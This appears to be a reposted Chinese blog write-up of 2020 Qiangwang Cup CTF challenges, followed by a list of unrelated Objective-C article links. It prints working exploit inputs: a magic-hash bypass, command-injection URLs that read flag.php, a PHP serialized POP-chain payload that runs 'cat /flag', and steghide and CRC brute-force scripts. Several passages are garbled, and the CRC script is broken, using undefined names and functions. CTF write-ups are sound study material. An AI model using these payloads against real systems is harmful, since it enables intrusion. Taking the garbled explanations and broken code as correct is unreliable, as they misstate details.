博客
关于我
2020强网杯部分题目复现
阅读量:688 次
发布时间:2019-03-17

本文共 2186 字,大约阅读时间需要 7 分钟。

强网先锋

Funhash

为绕过第一关,我们需要找到一个特殊字符串,该字符串在MD4加密后仍与自身相等。这类特殊字符串被称为密闭映射(Funny Hash的前缀)。常规方法如暴破较为缓慢,因此我放弃了这一选择。在网上搜索(并将搜索引擎语言设置为汉卡),发现相关知识点。最终发现了这个特殊字符串:0e251288019

将该字符串作为hash1提交即可绕过第一关,随后其他两个关卡也相对简单。

绕过方法:

?hash1=0e251288019&hash2[]=2&hash3[]=3&hash4=ffifdyop

主动

关卡考察对象是命令执行 vulnerability。通过提交IP参数 bypass.FLAG check后,利用ping命令获取远程设备信息.

绕过方法:

?ip=127.0.0.1|ls

由于空格被过滤,通过%20替换空格提交:

?ip=127.0.0.1|cat%20flag.php

访问preg_match函数后,发现flag.php源码中包含flag信息。


upload

分析题目附件中的数据包,使用Wireshark分析HTTP请求对象,导出相关文件。flag.php文件中的表单提交动作指向steghide.php。flag的位置在注释中,可以通过判断密码质量进行分析。

解题方法:

  • 找到注释中的好密码。
  • 使用steghide工具解题,推荐使用脚本进行自动化破解:
  • #!/bin/bash
    for line in `cat $2`;do
    steghide extract -sf $1 -p $line > /dev/null 2>&1
    if [[ $? -eq 0 ]];then
    echo 'password is: '$line
    exit
    fi
    done

    web辅助

    这类题目考察pop链 vulnerable。通过分析类方法__construct, __toString等,实现对flag的获取。

    构造pop的链路:

  • topsolo类实例化时触发__construct,返回midsolo对象。
  • midsolo对象触发__construct,返回jungle对象。
  • jungle对象的__toString方法执行cat /flag,从而获取flag。
  • payload示例:

    $lol = new topsolo();
    print_r(serialize($lol));

    输出结果为:

    O:7:"topsolo":1:{
    s:7:"%00*%00name";
    O:7:"midsolo":1:{
    s:7:"%00*%00name";
    O:6:"jungle":1:{
    s:7:"%00*%00name";
    s:7:"Lee Sin";
    }
    }
    }

    计算机

    套娃题,第一关通过查看请求路径找到/fonts/1,下载相关字体文件,提取其中的base64字符串。

    解题方法:

  • 复制base64字符串:
  • i = 'AIzaTransit`
    base64_decode(i)
    1. 使用工具解密,获取flag。

    2. CRC爆破

      最后关卡是一个CRC绕过问题。通过逐次暴破循环校验和,找到原始明文。

      脚本示例:

      import binascii
      def find_crc():
      # binary string length
      len_sequences = 0x10000
      # CRC-32 dictionary
      dict = string.printable
      # example: crc1 = 0x9aeacc13, crc2 = 0xeed7e184, crc3 = 0x289585af
      if not find:
      return
      print("Successfully found CRC值:", found_password)
      def CrackCrc5(crc):
      for i in dict:
      for j in dict:
      for p in dict:
      for q in dict:
      for h in dict:
      s = i + j + p + q + h
      if crc == binascii.crc32(s.encode("ascii")):
      print(s)
      return
      CrackCrc5(crc1)
      CrackCrc4(crc2)
      CrackCrc5(crc3)

      总结

      此次比赛让我学到了许多新知识,尤其是pop链和隐写技术的处理。此外,通过多个bucket工具的学习,进一步加深了对安全领域的理解。未来将继续积累相关经验,争取在接下来的比赛中取得更好的成绩!

    转载地址:http://dtshz.baihongyu.com/

    你可能感兴趣的文章
    Objective-C实现MaximumSubarray最大子阵列(Brute Force蛮力解决方案)算法(附完整源码)
    查看>>
    Objective-C实现MaximumSubarray最大子阵列(动态规划解决方案)算法(附完整源码)
    查看>>
    Objective-C实现maxpooling计算(附完整源码)
    查看>>
    Objective-C实现max_difference_pair最大差异对算法(附完整源码)
    查看>>
    Objective-C实现max_heap最大堆算法(附完整源码)
    查看>>
    Objective-C实现MD5 (附完整源码)
    查看>>
    Objective-C实现md5算法(附完整源码)
    查看>>
    Objective-C实现MeanSquareError均方误差算法 (附完整源码)
    查看>>
    Objective-C实现median filter中值滤波器算法(附完整源码)
    查看>>
    Objective-C实现memcmp函数功能(附完整源码)
    查看>>
    Objective-C实现memcpy函数功能(附完整源码)
    查看>>
    Objective-C实现memoization优化技术算法(附完整源码)
    查看>>
    Objective-C实现memset函数功能(附完整源码)
    查看>>
    Objective-C实现merge insertion sort合并插入排序算法(附完整源码)
    查看>>
    Objective-C实现merge sort归并排序算法(附完整源码)
    查看>>
    Objective-C实现mergesort归并排序算法(附完整源码)
    查看>>
    Objective-C实现MidpointIntegration中点积分算法 (附完整源码)
    查看>>
    Objective-C实现miller rabin米勒-拉宾素性检验算法(附完整源码)
    查看>>
    Objective-C实现Miller-Rabin素性测试程序(附完整源码)
    查看>>
    Objective-C实现Miller-Rabin素性测试程序(附完整源码)
    查看>>